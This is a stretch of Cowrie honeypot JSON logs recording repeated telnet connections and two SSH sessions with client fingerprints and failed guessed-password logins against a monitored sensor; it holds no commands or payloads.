{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48360,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9fc373dcd2e","protocol":"telnet","message":"New connection: 23.111.140.22:48360 (10.17.0.5:23) [session: d9fc373dcd2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:04.190604Z"}
{"eventid":"cowrie.session.closed","duration":2.9183707237243652,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:04.414522Z","src_ip":"174.138.46.234","session":"bca7978cd122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.24162030220032,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:04.821567Z","src_ip":"23.111.140.22","session":"023a7f459f0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50468,"dst_ip":"10.17.0.5","dst_port":23,"session":"a74dd4ef66da","protocol":"telnet","message":"New connection: 23.111.140.22:50468 (10.17.0.5:23) [session: a74dd4ef66da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:04.878051Z"}
{"eventid":"cowrie.session.closed","duration":4.9011921882629395,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:05.950974Z","src_ip":"174.138.46.234","session":"19d63416133b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47494,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a066808c050","protocol":"telnet","message":"New connection: 23.111.140.22:47494 (10.17.0.5:23) [session: 4a066808c050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:05.982260Z"}
{"eventid":"cowrie.session.closed","duration":0.006533384323120117,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:05.988632Z","src_ip":"23.111.140.22","session":"4a066808c050","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.6665256023407,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:06.212574Z","src_ip":"23.111.140.22","session":"34250525eb03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094654321670532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:08.756018Z","src_ip":"23.111.140.22","session":"5ec04a61d29c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.177361488342285,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:09.993197Z","src_ip":"23.111.140.22","session":"18c8477fcac9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38576,"dst_ip":"10.17.0.5","dst_port":23,"session":"96f33ee1163c","protocol":"telnet","message":"New connection: 23.111.140.22:38576 (10.17.0.5:23) [session: 96f33ee1163c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:10.287742Z"}
{"eventid":"cowrie.session.closed","duration":31.67444109916687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:10.338898Z","src_ip":"23.111.140.22","session":"f95e5505747d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38788,"dst_ip":"10.17.0.5","dst_port":23,"session":"90345778beca","protocol":"telnet","message":"New connection: 23.111.140.22:38788 (10.17.0.5:23) [session: 90345778beca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:11.395136Z"}
{"eventid":"cowrie.session.closed","duration":32.625927209854126,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:12.628232Z","src_ip":"23.111.140.22","session":"fcd4c45ee24b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47196,"dst_ip":"10.17.0.5","dst_port":23,"session":"f04981a43580","protocol":"telnet","message":"New connection: 23.111.140.22:47196 (10.17.0.5:23) [session: f04981a43580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:13.276272Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41686,"dst_ip":"10.17.0.5","dst_port":23,"session":"12769a8669f7","protocol":"telnet","message":"New connection: 23.111.140.22:41686 (10.17.0.5:23) [session: 12769a8669f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:14.435313Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33084,"dst_ip":"10.17.0.5","dst_port":23,"session":"aee688be87d3","protocol":"telnet","message":"New connection: 23.111.140.22:33084 (10.17.0.5:23) [session: aee688be87d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:14.562473Z"}
{"eventid":"cowrie.session.closed","duration":31.746644735336304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:14.602946Z","src_ip":"23.111.140.22","session":"a3a8768cca00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53568,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a5c99379644","protocol":"telnet","message":"New connection: 23.111.140.22:53568 (10.17.0.5:23) [session: 5a5c99379644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:15.359612Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47304,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b4760d848c8","protocol":"telnet","message":"New connection: 23.111.140.22:47304 (10.17.0.5:23) [session: 5b4760d848c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:16.322402Z"}
{"eventid":"cowrie.session.closed","duration":33.61936616897583,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:16.460515Z","src_ip":"23.111.140.22","session":"7bc115fbee72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.05750513076782,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:21.710520Z","src_ip":"23.111.140.22","session":"2a2b984c4375","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43948,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ae94c03bb8a","protocol":"telnet","message":"New connection: 23.111.140.22:43948 (10.17.0.5:23) [session: 6ae94c03bb8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:22.798200Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":47056,"dst_ip":"10.17.0.5","dst_port":22,"session":"de5596dedfa7","protocol":"ssh","message":"New connection: 202.145.0.61:47056 (10.17.0.5:22) [session: de5596dedfa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:23.738535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:23.743846Z","src_ip":"202.145.0.61","session":"de5596dedfa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49270,"dst_ip":"10.17.0.5","dst_port":23,"session":"27b746b3540e","protocol":"telnet","message":"New connection: 23.111.140.22:49270 (10.17.0.5:23) [session: 27b746b3540e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:23.750544Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:23.986243Z","src_ip":"202.145.0.61","session":"de5596dedfa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.81180262565613,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:24.371910Z","src_ip":"23.111.140.22","session":"c164cea7365a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r","message":"login attempt [ubuntu/q1w2e3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:24.983834Z","src_ip":"202.145.0.61","session":"de5596dedfa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.94612956047058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:25.508122Z","src_ip":"23.111.140.22","session":"7e5f4d44697c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.421844959259033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:26.061758Z","src_ip":"23.111.140.22","session":"88a49713ddf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56154,"dst_ip":"10.17.0.5","dst_port":23,"session":"943ff8fe7beb","protocol":"telnet","message":"New connection: 23.111.140.22:56154 (10.17.0.5:23) [session: 943ff8fe7beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:26.091369Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:26.228603Z","src_ip":"202.145.0.61","session":"de5596dedfa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33502,"dst_ip":"10.17.0.5","dst_port":23,"session":"afe261a18092","protocol":"telnet","message":"New connection: 23.111.140.22:33502 (10.17.0.5:23) [session: afe261a18092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:30.115938Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42064,"dst_ip":"10.17.0.5","dst_port":23,"session":"2795be3484b1","protocol":"telnet","message":"New connection: 23.111.140.22:42064 (10.17.0.5:23) [session: 2795be3484b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:32.173897Z"}
{"eventid":"cowrie.session.closed","duration":31.32609248161316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:33.840312Z","src_ip":"23.111.140.22","session":"18e22d3924bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.905953645706177,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:35.468335Z","src_ip":"23.111.140.22","session":"aee688be87d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.965584754943848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:36.156064Z","src_ip":"23.111.140.22","session":"d9fc373dcd2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.793137788772583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:36.671078Z","src_ip":"23.111.140.22","session":"a74dd4ef66da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34961819648743,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:37.007968Z","src_ip":"23.111.140.22","session":"356d32ffb483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56224,"dst_ip":"10.17.0.5","dst_port":23,"session":"707f1a2cb8b1","protocol":"telnet","message":"New connection: 23.111.140.22:56224 (10.17.0.5:23) [session: 707f1a2cb8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:38.404079Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35104,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d8cf5848697","protocol":"telnet","message":"New connection: 23.111.140.22:35104 (10.17.0.5:23) [session: 2d8cf5848697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:39.921953Z"}
{"eventid":"cowrie.session.closed","duration":31.530916213989258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:41.818295Z","src_ip":"23.111.140.22","session":"96f33ee1163c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":40318,"dst_ip":"10.17.0.5","dst_port":22,"session":"30975f4a54c6","protocol":"ssh","message":"New connection: 135.235.138.43:40318 (10.17.0.5:22) [session: 30975f4a54c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:42.763687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:42.768437Z","src_ip":"135.235.138.43","session":"30975f4a54c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44016,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e98247b4a0f","protocol":"telnet","message":"New connection: 23.111.140.22:44016 (10.17.0.5:23) [session: 7e98247b4a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:42.943824Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:42.957125Z","src_ip":"135.235.138.43","session":"30975f4a54c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38430,"dst_ip":"10.17.0.5","dst_port":23,"session":"f20a91e2a7be","protocol":"telnet","message":"New connection: 23.111.140.22:38430 (10.17.0.5:23) [session: f20a91e2a7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:43.081001Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49364,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4969ab8c54e","protocol":"telnet","message":"New connection: 23.111.140.22:49364 (10.17.0.5:23) [session: d4969ab8c54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:43.641093Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49718,"dst_ip":"10.17.0.5","dst_port":23,"session":"f11b02f48754","protocol":"telnet","message":"New connection: 23.111.140.22:49718 (10.17.0.5:23) [session: f11b02f48754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:43.734878Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39446,"dst_ip":"159.203.135.109","dst_port":23,"session":"3343a2e64927","protocol":"telnet","message":"New connection: 174.138.46.234:39446 (159.203.135.109:23) [session: 3343a2e64927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:43.743697Z"}
{"eventid":"cowrie.login.failed","username":"mouser","password":"mouser","message":"login attempt [mouser/mouser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:43.761811Z","src_ip":"135.235.138.43","session":"30975f4a54c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39500,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7e981317272","protocol":"telnet","message":"New connection: 174.138.46.234:39500 (159.203.135.109:23) [session: b7e981317272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:43.957028Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39620,"dst_ip":"159.203.135.109","dst_port":23,"session":"a16725ef5b1c","protocol":"telnet","message":"New connection: 174.138.46.234:39620 (159.203.135.109:23) [session: a16725ef5b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:44.301388Z"}
{"eventid":"cowrie.session.closed","duration":29.936395406723022,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:44.371610Z","src_ip":"23.111.140.22","session":"12769a8669f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39714,"dst_ip":"159.203.135.109","dst_port":23,"session":"25774edda2b2","protocol":"telnet","message":"New connection: 174.138.46.234:39714 (159.203.135.109:23) [session: 25774edda2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:44.652695Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:44.954907Z","src_ip":"135.235.138.43","session":"30975f4a54c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.93096303939819,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:45.325985Z","src_ip":"23.111.140.22","session":"90345778beca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.147603273391724,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:45.423758Z","src_ip":"23.111.140.22","session":"f04981a43580","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101999521255493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:46.461282Z","src_ip":"23.111.140.22","session":"5a5c99379644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56966,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c95ecac36b3","protocol":"telnet","message":"New connection: 23.111.140.22:56966 (10.17.0.5:23) [session: 3c95ecac36b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:47.012661Z"}
{"eventid":"cowrie.session.closed","duration":31.94144892692566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:48.263721Z","src_ip":"23.111.140.22","session":"5b4760d848c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.16095495223999,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:50.117881Z","src_ip":"174.138.46.234","session":"b7e981317272","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.676415681838989,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:50.419981Z","src_ip":"174.138.46.234","session":"3343a2e64927","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.776084661483765,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:50.428643Z","src_ip":"174.138.46.234","session":"25774edda2b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36120,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f69e6e70576","protocol":"telnet","message":"New connection: 23.111.140.22:36120 (10.17.0.5:23) [session: 7f69e6e70576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:50.435599Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42216,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd028e0a63c5","protocol":"telnet","message":"New connection: 23.111.140.22:42216 (10.17.0.5:23) [session: bd028e0a63c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:51.362702Z"}
{"eventid":"cowrie.session.closed","duration":30.3382089138031,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:53.136306Z","src_ip":"23.111.140.22","session":"6ae94c03bb8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67331552505493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:55.423757Z","src_ip":"23.111.140.22","session":"27b746b3540e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46015238761902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:57.551483Z","src_ip":"23.111.140.22","session":"943ff8fe7beb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.151451110839844,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:32:59.267255Z","src_ip":"23.111.140.22","session":"afe261a18092","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10551118850708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:03.279282Z","src_ip":"23.111.140.22","session":"2795be3484b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44266,"dst_ip":"10.17.0.5","dst_port":23,"session":"462348c4b3d3","protocol":"telnet","message":"New connection: 23.111.140.22:44266 (10.17.0.5:23) [session: 462348c4b3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:33:03.458592Z"}
